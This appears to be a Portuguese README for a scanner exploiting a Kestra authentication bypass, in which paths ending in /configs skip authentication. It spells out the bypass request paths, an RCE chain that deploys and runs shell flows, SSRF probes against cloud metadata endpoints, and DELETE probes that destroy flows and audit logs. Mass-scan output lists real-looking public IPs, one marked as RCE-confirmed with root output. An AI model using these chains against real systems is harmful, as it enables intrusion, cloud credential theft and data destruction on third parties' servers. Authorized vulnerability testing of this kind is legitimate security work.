
Verificador de Vulnerabilidade de Bypass de Autenticação do Kestra
Escaneia instâncias Kestra em busca do bypass de filtro de autenticação endsWith("/configs"). O AuthenticationFilter.java do Kestra verifica request.getPath().endsWith("/configs") em vez de corresponder ao caminho exato /api/v1/configs. Como o Kestra endereça recursos por meio de segmentos de caminho escolhidos pelo chamador (namespace, flow ID), qualquer caminho que termine em /configs ignora a autenticação Basic-Auth, permitindo criação não autenticada de flows e RCE. (CVSS 10.0)
Referências:
GET /api/v1/configs (deve retornar 200; corpo da resposta analisado para obter a versão do Kestra)GET /api/v1/{tenant}/flows (deve retornar 401/403 se a auth estiver ativa)/configs; se algum retornar não-401/403 enquanto a verificação de auth estiver ativa, a instância está vulnerável--aggressive) também envia requisições PUT para confirmar capacidade de bypass de escrita--rce) cadeia completa: criar flow shell/python → acionar execução → recuperar logs → confirmar execução de código → limpeza--ssrf) cria um flow com http() do Pebble visando metadados de nuvem AWS/GCP/Azure e endpoints internos, depois verifica logs por evidências--destructive) envia DELETE para caminhos de bypass de flows, dashboards e logs para confirmar bypass de operação destrutiva| Sonda | Método | Caminho | Descrição |
|---|---|---|---|
| Configs Públicos | GET | /api/v1/configs | Verificação de atividade + extração de versão |
| Normal Protegido | GET | /api/v1/{tenant}/flows | Linha de base da aplicação de auth |
| Bypass de Flows | GET | /api/v1/{tenant}/flows/{namespace}/configs | Bypass de listagem de flows |
| Bypass de Execuções | GET | /api/v1/{tenant}/executions/{namespace}/configs | Bypass de execução |
| Bypass de KV Store | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | Bypass de leitura KV |
| Bypass de Dashboards | GET | /api/v1/{tenant}/dashboards/configs | Bypass de dashboard |
| Bypass de Logs | GET | /api/v1/{tenant}/logs/{namespace}/configs | Bypass de acesso a logs |
| Bypass de Templates | GET | /api/v1/{tenant}/templates/{namespace}/configs | Bypass de leitura de templates |
--aggressive)| Sonda | Método | Caminho | Descrição |
|---|---|---|---|
| Bypass PUT de Flows | PUT | igual ao Bypass de Flows | Cria um flow mínimo debug.Return |
| Bypass PUT de KV | PUT | igual ao Bypass de KV | Cria uma entrada KV {"scanned": true} |
--destructive)| Sonda | Método | Caminho | Descrição |
|---|---|---|---|
| Bypass DELETE de Flows | DELETE | igual ao Bypass de Flows | Exclui um recurso chamado "configs" |
| Bypass DELETE de Dashboards | DELETE | igual ao Bypass de Dashboards | Exclui um dashboard chamado "configs" |
| Bypass DELETE de Logs | DELETE | igual ao Bypass de Logs | Destrói logs de auditoria |
--rce)Executa somente quando o bypass de auth é confirmado. A cadeia completa do advisory:
| Passo | Método | Caminho | Descrição |
|---|---|---|---|
| 1. Criar flow RCE | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Implanta flow com io.kestra.plugin.scripts.shell.Commands (echo <marcador>, id, hostname). Recai para io.kestra.plugin.scripts.python.Script em caso de falha. |
| 2. Acionar execução | POST | /api/v1/{tenant}/executions/{namespace}/configs | Inicia o flow pelo caminho de bypass |
| 3. Consultar logs | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Consulta até --poll-retries vezes (padrão 10) a cada --poll-interval segundos (padrão 3) procurando o marcador único de RCE |
| 4. Limpeza | DELETE | igual ao passo 1 | Remove o flow implantado |
--ssrf)Executa somente quando o bypass de auth é confirmado:
| Passo | Método | Caminho | Descrição |
|---|---|---|---|
| 1. Criar flow SSRF | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Implanta uma tarefa debug.Return com chamadas http() do Pebble para AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) e interno (127.0.0.1:8080/api/v1/configs) |
| 2. Acionar execução | POST | igual ao passo 2 do RCE | Aciona o flow |
| 3. Consultar logs | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Verifica indicadores de metadados de nuvem (ami-, i-, 169.254.169.254, metadata.google.internal, etc.) |
| 4. Limpeza | DELETE | igual ao passo 1 | Remove o flow implantado |
posicional:
target URL alvo única (ex.: http://localhost:8080)
opções:
-f, --file Arquivo com alvos (um por linha)
-t, --timeout Timeout da requisição em segundos (padrão: 10)
--verify-ssl Verificar certificados TLS
-j, --json Saída JSON para stdout
-o, --output Escrever relatório JSON em arquivo
--tenant Nome do tenant (padrão: "main")
--namespace Namespace para caminhos de bypass (padrão: "tutorial")
-w, --workers Número de threads para varreduras em massa (padrão: 10)
-a, --aggressive Enviar requisições PUT para confirmar bypass de escrita
-P, --auto-ports Portas para expansão automática (padrão: 8080 8081 8088 8091 80 443)
sondas avançadas:
-r, --rce Ativar cadeia de verificação RCE (flow shell + python,
acionamento de execução, recuperação de logs, limpeza automática)
-s, --ssrf Ativar detecção SSRF (http() do Pebble para endpoints de metadados
de nuvem, coleta de evidências baseada em logs)
-d, --destructive Ativar sondas DELETE em flows, dashboards e logs
(IRÁ excluir recursos em instâncias vulneráveis)
--poll-interval Segundos entre consultas de log para cadeias RCE/SSRF (padrão: 3)
--poll-retries Número máximo de tentativas de consulta de log para cadeias RCE/SSRF (padrão: 10)
Detalhamento completo por sonda com enriquecimento (versão, RCE, SSRF, status DELETE) e veredito:
====================================================================
Alvo: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Versão: 1.3.20 (AFETADO)
RCE: CONFIRMADO via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTADO
| Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080
BYPASS DELETE: CONFIRMADO bypass de auth em ops destrutivas
[Bypass de Flows]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: SIM
[Bypass de Exec]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: Não
...
── Cadeia de Verificação RCE ──
Criação de Flow: 201
Acionamento Exec: 201
Evidência em Log: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Limpeza de Flow: 204
── Cadeia de Detecção SSRF ──
Criação de Flow: 201
Acionamento Exec: 201
Evidência: 200
Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080
Limpeza de Flow: 204
[VULN] Veredito: VULNERÁVEL ...
====================================================================
Tabela colunar ordenada com colunas de flags RCE/SSRF/DEL:
========================================================================================================================================
RESUMO DA VARREDURA EM MASSA GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Alvo Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 SIM SIM SIM RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - SIM VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SEGURO
...
========================================================================================================================================
Total: 258 | Vulneráveis: 5 | RCE Confirmado: 1 | SSRF Detectado: 1 | Bypass DEL: 2 | Seguros: 29 | Inconclusivos: 224
========================================================================================================================================
Códigos de saída: 0 = sem vulnerabilidades, 1 = vulnerabilidade encontrada, 2 = todos inconclusivos.
Ao usar -j ou -o, a saída inclui campos de enriquecimento por alvo:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicadores encontrados: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
O scanner extrai automaticamente a versão do Kestra da resposta GET /api/v1/configs e a classifica:
| Versão | Classificação |
|---|---|
<= 1.0.44 | AFETADO (branch 1.0, antes do patch) |
>= 1.0.45 | Corrigido (branch 1.0) |
1.3.0 a 1.3.20 | AFETADO (branch 1.3, antes do patch) |
>= 1.3.21 | Corrigido (branch 1.3) |
>= 1.4.0 | Corrigido (mais novo que o intervalo afetado) |
| Desconhecida | Versão não encontrada na resposta |
Isso usa comparação ciente de branch, já que o Kestra mantém branches de patch separadas (1.0.x e 1.3.x).
Requer Python 3.10+.
pip install -r requirements.txt
python main.py --help
Para testes defensivos autorizados apenas. As flags --rce e --destructive criam e executam recursos reais no alvo. Sempre obtenha autorização escrita adequada antes de escanear sistemas que você não possui.